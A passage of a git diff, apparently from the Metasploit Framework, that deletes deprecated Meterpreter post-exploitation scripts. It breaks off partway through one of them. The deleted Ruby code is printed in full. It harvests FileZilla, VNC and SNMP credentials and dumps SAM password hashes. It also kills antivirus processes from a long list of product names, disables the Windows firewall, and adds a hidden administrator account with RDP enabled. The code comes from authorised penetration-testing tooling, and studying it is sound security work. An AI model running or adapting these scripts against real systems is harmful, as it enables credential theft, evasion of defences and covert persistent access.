{|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end - - - end - print_line("\n" + tbl.to_s + "\n") -end - -opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list installed applications and their version." - print_line(opts.usage) - raise Rex::Script::Completed - - end -} -if client.platform =~ /win32|win64/ - app_list -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb deleted file mode 100644 index 6d87539409..0000000000 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ /dev/null @@ -1,177 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -require "rexml/document" - -#------------------------------------------------------------------------------- -#Options and Option Parsing -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ false, "Return credentials." ] -) - -get_credentials=false - -opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting servers and credentials from Filezilla." - print_line(opts.usage) - raise Rex::Script::Completed - when "-c" - get_credentials=true - end -} -### If we get here and have none of our flags true, then we'll just -### get credentials -if !(get_credentials) - get_credentials=true -end - -#------------------------------------------------------------------------------- -#Set General Variables used in the script -@client = client -os = @client.sys.config.sysinfo['OS'] -host = @client.sys.config.sysinfo['Computer'] -# Create Filename info to be appended to downloaded files -filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") -# Create a directory for the logs -logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) ) -# Create the log directory -::FileUtils.mkdir_p(logs) -#logfile name -dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt") - -#------------------------------------------------------------------------------- -#function for checking of FileZilla profile is present -def check_filezilla(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/FileZilla/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found -end - -#------------------------------------------------------------------------------- - -def extract_saved_creds(path,xml_file) - accounts_xml = "" - creds = "" - print_status("Reading #{xml_file} file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.to_a("//Server").each do |e| - print_status "\tHost: #{e.elements["Host"].text}" - creds << "Host: #{e.elements["Host"].text}" - print_status "\tPort: #{e.elements["Port"].text}" - creds << "Port: #{e.elements["Port"].text}" - logon_type = e.elements["Logontype"].text - if logon_type == "0" - print_status "\tLogon Type: Anonymous" - creds << "Logon Type: Anonymous" - elsif logon_type =~ /1|4/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - print_status "\tPassword: #{e.elements["Pass"].text}" - creds << "Password: #{e.elements["Pass"].text}" - elsif logon_type =~ /2|3/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - end - - proto = e.elements["Protocol"].text - if proto == "0" - print_status "\tProtocol: FTP" - creds << "Protocol: FTP" - elsif proto == "1" - print_status "\tProtocol: SSH" - creds << "Protocol: SSH" - elsif proto == "3" - print_status "\tProtocol: FTPS" - creds << "Protocol: FTPS" - elsif proto == "4" - print_status "\tProtocol: FTPES" - creds << "Protocol: FTPES" - end - print_status "" - creds << "" - - end -# - return creds -end -#------------------------------------------------------------------------------- -#Function to enumerate the users if running as SYSTEM -def enum_users(os) - users = [] - - path4users = "" - sysdrv = @client.sys.config.getenv('SystemDrive') - - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end - - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.sys.config.getenv('USERNAME') - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users -end - -################## MAIN ################## -if client.platform =~ /win32|win64/ - print_status("Running Meterpreter FileZilla Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - filezilla_path = check_filezilla(u['userappdata']) - if filezilla_path - print_status("FileZilla profile found!") - ### modified to use filezilla_path - xml_cfg_files = ['sitemanager.xml','recentservers.xml'] - if get_credentials - xml_cfg_files.each do |xml_cfg_file| - file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) - end - end - - else - print_error("Filezilla profile not found!") - end - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb deleted file mode 100644 index fd503a3a38..0000000000 --- a/scripts/meterpreter/get_local_subnets.rb +++ /dev/null @@ -1,35 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Meterpreter script that display local subnets -# Provided by Nicob -# Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] -) -def usage - print_line("Get a list of local subnets based on the host's routes") - print_line("USAGE: run get_local_subnets") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed -end - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end -} - -client.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - print_line("Local subnet: #{route.subnet}/#{route.netmask}") -} diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb deleted file mode 100644 index 54c5bce348..0000000000 --- a/scripts/meterpreter/get_valid_community.rb +++ /dev/null @@ -1,64 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -#copied getvncpw - thanks grutz/carlos - -session = client - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."] -) - -def usage() - print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") - completed -end - -def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - # oddly enough this does not return the data field which indicates ro/rw - return open_key.enum_value.collect {|x| x.name} - rescue - # no registry key found or other error - return nil - end -end - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end -} - -if client.platform =~ /win32|win64/ - print_status("Searching for community strings...") - strs = get_community(session) - if strs - strs.each do |str| - print_good("FOUND: #{str}") - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => str, - :type => "snmp.community", - :duplicate_ok => true - ) - end - else - print_status("Not found") - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb deleted file mode 100644 index 804a4417e9..0000000000 --- a/scripts/meterpreter/getcountermeasure.rb +++ /dev/null @@ -1,381 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# -# Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. -# Provides also the option to kill the processes of detected products and disable the built-in firewall. -# Provided by Carlos Perez at carlos_perez[at]darkoperator.com -# Version: 0.1.0 -session = client -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], - "-d" => [ false, "Disable built in Firewall" ] -) - -def usage - print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") - print_line("processes, show XP firewall rules, and display DEP and UAC") - print_line("policies") - print(@@exec_opts.usage) - raise Rex::Script::Completed -end - -#------------------------------------------------------------------------------- -avs = %W{ - a2adguard.exe - a2adwizard.exe - a2antidialer.exe - a2cfg.exe - a2cmd.exe - a2free.exe - a2guard.exe - a2hijackfree.exe - a2scan.exe - a2service.exe - a2start.exe - a2sys.exe - a2upd.exe - aavgapi.exe - aawservice.exe - aawtray.exe - ad-aware.exe - ad-watch.exe - alescan.exe - anvir.exe - ashdisp.exe - ashmaisv.exe - ashserv.exe - ashwebsv.exe - aswupdsv.exe - atrack.exe - avgagent.exe - avgamsvr.exe - avgcc.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgtcpsv.exe - avguard.exe - avgupsvc.exe - avgw.exe - avkbar.exe - avk.exe - avkpop.exe - avkproxy.exe - avkservice.exe - avktray - avktray.exe - avkwctl - avkwctl.exe - avmailc.exe - avp.exe - avpm.exe - avpmwrap.exe - avsched32.exe - avwebgrd.exe - avwin.exe - avwupsrv.exe - avz.exe - bdagent.exe - bdmcon.exe - bdnagent.exe - bdss.exe - bdswitch.exe - blackd.exe - blackice.exe - blink.exe - boc412.exe - boc425.exe - bocore.exe - bootwarn.exe - cavrid.exe - cavtray.exe - ccapp.exe - ccevtmgr.exe - ccimscan.exe - ccproxy.exe - ccpwdsvc.exe - ccpxysvc.exe - ccsetmgr.exe - cfgwiz.exe - cfp.exe - clamd.exe - clamservice.exe - clamtray.exe - cmdagent.exe - cpd.exe - cpf.exe - csinsmnt.exe - dcsuserprot.exe - defensewall.exe - defensewall_serv.exe - defwatch.exe - f-agnt95.exe - fpavupdm.exe - f-prot95.exe - f-prot.exe - fprot.exe - fsaua.exe - fsav32.exe - f-sched.exe - fsdfwd.exe - fsm32.exe - fsma32.exe - fssm32.exe - f-stopw.exe - f-stopw.exe - fwservice.exe - fwsrv.exe - iamstats.exe - iao.exe - icload95.exe - icmon.exe - idsinst.exe - idslu.exe - inetupd.exe - irsetup.exe - isafe.exe - isignup.exe - issvc.exe - kav.exe - kavss.exe - kavsvc.exe - klswd.exe - kpf4gui.exe - kpf4ss.exe - livesrv.exe - lpfw.exe - mcagent.exe - mcdetect.exe - mcmnhdlr.exe - mcrdsvc.exe - mcshield.exe - mctskshd.exe - mcvsshld.exe - mghtml.exe - mpftray.exe - msascui.exe - mscifapp.exe - msfwsvc.exe - msgsys.exe - msssrv.exe - navapsvc.exe - navapw32.exe - navlogon.dll - navstub.exe - navw32.exe - nisemsvr.exe - nisum.exe - nmain.exe - noads.exe - nod32krn.exe - nod32kui.exe - nod32ra.exe - npfmntor.exe - nprotect.exe - nsmdtr.exe - oasclnt.exe - ofcdog.exe - opscan.exe - ossec-agent.exe - outpost.exe - paamsrv.exe - pavfnsvr.exe - pcclient.exe - pccpfw.exe - pccwin98.exe - persfw.exe - protector.exe - qconsole.exe - qdcsfs.exe - rtvscan.exe - sadblock.exe - safe.exe - sandboxieserver.exe - savscan.exe - sbiectrl.exe - sbiesvc.exe - sbserv.exe - scfservice.exe - sched.exe - schedm.exe - scheduler daemon.exe - sdhelp.exe - serv95.exe - sgbhp.exe - sgmain.exe - slee503.exe - smartfix.exe - smc.exe - snoopfreesvc.exe - snoopfreeui.exe - spbbcsvc.exe - sp_rsser.exe - spyblocker.exe - spybotsd.exe - spysweeper.exe - spysweeperui.exe - spywareguard.dll - spywareterminatorshield.exe - ssu.exe - steganos5.exe - stinger.exe - swdoctor.exe - swupdate.exe - symlcsvc.exe - symundo.exe - symwsc.exe - symwscno.exe - tcguard.exe - tds2-98.exe - tds-3.exe - teatimer.exe - tgbbob.exe - tgbstarter.exe - tsatudt.exe - umxagent.exe - umxcfg.exe - umxfwhlp.exe - umxlu.exe - umxpol.exe - umxtray.exe - usrprmpt.exe - vetmsg9x.exe - vetmsg.exe - vptray.exe - vsaccess.exe - vsserv.exe - wcantispy.exe - win-bugsfix.exe - winpatrol.exe - winpatrolex.exe - wrsssdk.exe - xcommsvr.exe - xfr.exe - xp-antispy.exe - zegarynka.exe - zlclient.exe -} -#------------------------------------------------------------------------------- -# Check for the presence of AV, HIPS and Third Party firewall and/or kill the -# processes associated with it -def check(session,avs,killbit) - print_status("Checking for contermeasures...") - session.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") - if (killbit) - print_status("\tKilling process for countermeasure.....") - session.sys.process.kill(x['pid']) - end - end - end -end -#------------------------------------------------------------------------------- -# Get the configuration and/or disable the built in Windows Firewall -def checklocalfw(session,killfw) - print_status("Getting Windows Built in Firewall configuration...") - opmode = "" - r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) - while(d = r.channel.read) - opmode << d - end - r.channel.close - r.close - opmode.split("\n").each do |o| - print_status("\t#{o}") - end - if (killfw) - print_status("Disabling Built in Firewall.....") - f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = f.channel.read) - if d =~ /The requested operation requires elevation./ - print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") - end - end - f.channel.close - f.close - end -end -#------------------------------------------------------------------------------- -# Function for getting the current DEP Policy on the Windows Target -def checkdep(session) - tmpout = "" - depmode = "" - # Expand environment %TEMP% variable - tmp = session.sys.config.getenv('TEMP') - # Create random name for the wmic output - wmicfile = sprintf("%.5d",rand(100000)) - wmicout = "#{tmp}\\#{wmicfile}" - print_status("Checking DEP Support Policy...") - r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) - sleep(2) - r.close - r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - tmpout << d - end - r.channel.close - r.close - session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) - depmode = tmpout.scan(/(\d)/) - if depmode.to_s == "0" - print_status("\tDEP is off for the whole system.") - elsif depmode.to_s == "1" - print_status("\tFull DEP coverage for the whole system with no exceptions.") - elsif depmode.to_s == "2" - print_status("\tDEP is limited to Windows system binaries.") - elsif depmode.to_s == "3" - print_status("\tDEP is on for all programs and services.") - end - -end -#------------------------------------------------------------------------------- -def checkuac(session) - print_status("Checking if UAC is enabled ...") - key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' - root_key, base_key = session.sys.registry.splitkey(key) - value = "EnableLUA" - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(value) - if v.data == 1 - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end -end - -################## MAIN ################## -killbt = false -killfw = false -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-k" - killbt = true - when "-d" - killfw = true - when "-h" - usage - end -} -# get the version of windows -if client.platform =~ /win32|win64/ - wnvr = session.sys.config.sysinfo["OS"] - print_status("Running Getcountermeasure on the target...") - check(session,avs,killbt) - if wnvr !~ /Windows 2000/ - checklocalfw(session, killfw) - checkdep(session) - end - if wnvr =~ /Windows Vista/ - checkuac(session) - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb deleted file mode 100644 index ebd59c91a0..0000000000 --- a/scripts/meterpreter/getgui.rb +++ /dev/null @@ -1,190 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## - -session = client -host_name = client.sys.config.sysinfo['Computer'] -# Create Filename info to be appended to downloaded files -filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - -# Create a directory for the logs -logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui') - -# Create the log directory -::FileUtils.mkdir_p(logs) - -# Cleaup script file name -@dest = logs + "/clean_up_" + filenameinfo + ".rc" - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable RDP only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward RDP Connection." ] -) -def usage - print_line("Windows Remote Desktop Enabler Meterpreter Script") - print_line("Usage: getgui -u -p ") - print_line("Or: getgui -e") - print(@@exec_opts.usage) - raise Rex::Script::Completed -end - - - - -def enablerd() - key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' - value = "fDenyTSConnections" - begin - v = registry_getvaldata(key,value) - print_status "Enabling Remote Desktop" - if v == 1 - print_status "\tRDP is disabled; enabling it ..." - registry_setvaldata(key,value,0,"REG_DWORD") - file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") - else - print_status "\tRDP is already enabled" - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - -end - - -def enabletssrv() - rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" - begin - v2 = registry_getvaldata(rdp_key,"Start") - print_status "Setting Terminal Services service startup mode" - if v2 != 2 - print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." - service_change_startup("TermService","auto") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") - cmd_exec("sc start termservice") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - - else - print_status "\tTerminal Services service is already set to auto" - end - #Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set service type = remotedesktop mode = enable') - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"") - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end -end - - - -def addrdpusr(session, username, password) - - rdu = resolve_sid("S-1-5-32-555")[:name] - admin = resolve_sid("S-1-5-32-544")[:name] - - - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") - if addusr_out =~ /success/i - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tHiding user from Windows Login screen" - hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' - registry_setvaldata(hide_user_key,username,0,"REG_DWORD") - file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") - print_status "\tAdding User: #{username} to local group '#{rdu}'" - cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - - print_status "\tAdding User: #{username} to local group '#{admin}'" - cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") - print_status "You can now login with the created user" - else - print_error("Account could not be created") - print_error("Error:") - addusr_out.each_line do |l| - print_error("\t#{l.chomp}") - end - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end -end - - -def message - print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" - print_status "Carlos Perez carlos_perez@darkoperator.com" -end -################## MAIN ################## -# Parsing of Options -usr = nil -pass = nil -lang = nil -lport = 1024 + rand(1024) -enbl = nil -frwrd = nil - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - lport = val - when "-e" - enbl = true - end - -} -if client.platform =~ /win32|win64/ - if args.length > 0 - if enbl or (usr and pass) - message - if enbl - if is_admin? - enablerd() - enabletssrv() - else - print_error("Insufficient privileges, Remote Desktop Service was not modified.") - end - end - - if usr and pass - if is_admin? - addrdpusr(session, usr, pass) - else - print_error("Insufficient privileges, account was not be created.") - end - end - - if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") - end - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - else - usage - end - - else - usage - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb deleted file mode 100644 index 900bb9906f..0000000000 --- a/scripts/meterpreter/getvncpw.rb +++ /dev/null @@ -1,109 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -#---------------------------------------------------------------- -# Meterpreter script to obtain the VNC password out of the -# registry and print its decoded cleartext -# -# by Kurt Grutzmacher -# -# rev history -# ----------- -# 1.0 - 9/24/9 - Initial release -#---------------------------------------------------------------- - -require 'rex/proto/rfb/cipher' - -session = client - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-k" => [ true, "Specific registry key to search (minus Password)."], - "-l" => [ false, "List default key locations"] -) - -def usage() - print("\nPull the VNC Password from a Windows Meterpreter session\n") - print("By default an internal list of keys will be searched.\n\n") - print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") - print("\t-l\tList default key locations\n\n") - completed -end - -def get_vncpw(session, key) - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - return open_key.query_value('Password') - rescue - # no registry key found or other error - return nil - end -end - -def listkeylocations(keys) - print_line("\nVNC Registry Key Locations") - print_line("--------------------------\n") - keys.each { |key| - print_line("\t#{key}") - } - completed -end - -# fixed des key -fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" -# 5A B2 CD C0 BA DC AF 13 -# some common places for VNC password hashes -keys = [ - 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', - 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', - 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', - 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', - 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', -] - -# parse the command line -listkeylocs = false -keytosearch = nil - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - listkeylocations(keys) - when "-k" - keytosearch = val - end -} -if client.platform =~ /win32|win64/ -if keytosearch == nil - print_status("Searching for VNC Passwords in the registry....") - keys.each { |key| - vncpw = get_vncpw(session, key) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") - end - } -else - print_status("Searching in regkey: #{keytosearch}") - vncpw = get_vncpw(session, keytosearch) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") - else - print_status("Not found") - end -end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb deleted file mode 100644 index b53fdb5d82..0000000000 --- a/scripts/meterpreter/hashdump.rb +++ /dev/null @@ -1,306 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# -# Implement pwdump (hashdump) through registry reads + syskey - -@client = client -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The SMB port used to associated credentials."] -) - -smb_port = 445 - -opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "hashdump -- dump SMB hashes to the database" - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" - smb_port = val.to_i - end -} - -# Constants for SAM decryption -@sam_lmpass = "LMPASSWORD\x00" -@sam_ntpass = "NTPASSWORD\x00" -@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" -@sam_numeric = "0123456789012345678901234567890123456789\x00" -@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") -@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") - -@des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 -] - -def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end - - keybytes = bootkey.unpack("C*") - descrambled = "" -# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end - - - descrambled -end - -def capture_hboot_key(bootkey) - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) - return if not ok - vf = ok.query_value("F") - return if not vf - vf = vf.data - ok.close - - hash = Digest::MD5.new - hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) - - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = hash.digest - hbootkey = rc4.update(vf[0x80, 32]) - hbootkey << rc4.final - return hbootkey -end - -def capture_user_keys - users = {} - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) - return if not ok - - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) - next if usr == 'Names' - users[usr.to_i(16)] ||={} - users[usr.to_i(16)][:F] = uk.query_value("F").data - users[usr.to_i(16)][:V] = uk.query_value("V").data - - #Attempt to get Hints (from Win7/Win8 Location) - begin - users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) - rescue ::Rex::Post::Meterpreter::RequestError - users[usr.to_i(16)][:UserPasswordHint] = nil - end - - uk.close - end - ok.close - - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) - r = uk.query_value("") - rid = r.type - users[rid] ||= {} - users[rid][:Name] = usr - - #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? - begin - uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) - users[rid][:UserPasswordHint] = uk_hint.query_value("").data - rescue ::Rex::Post::Meterpreter::RequestError - users[rid][:UserPasswordHint] = nil - end - end - - uk.close - end 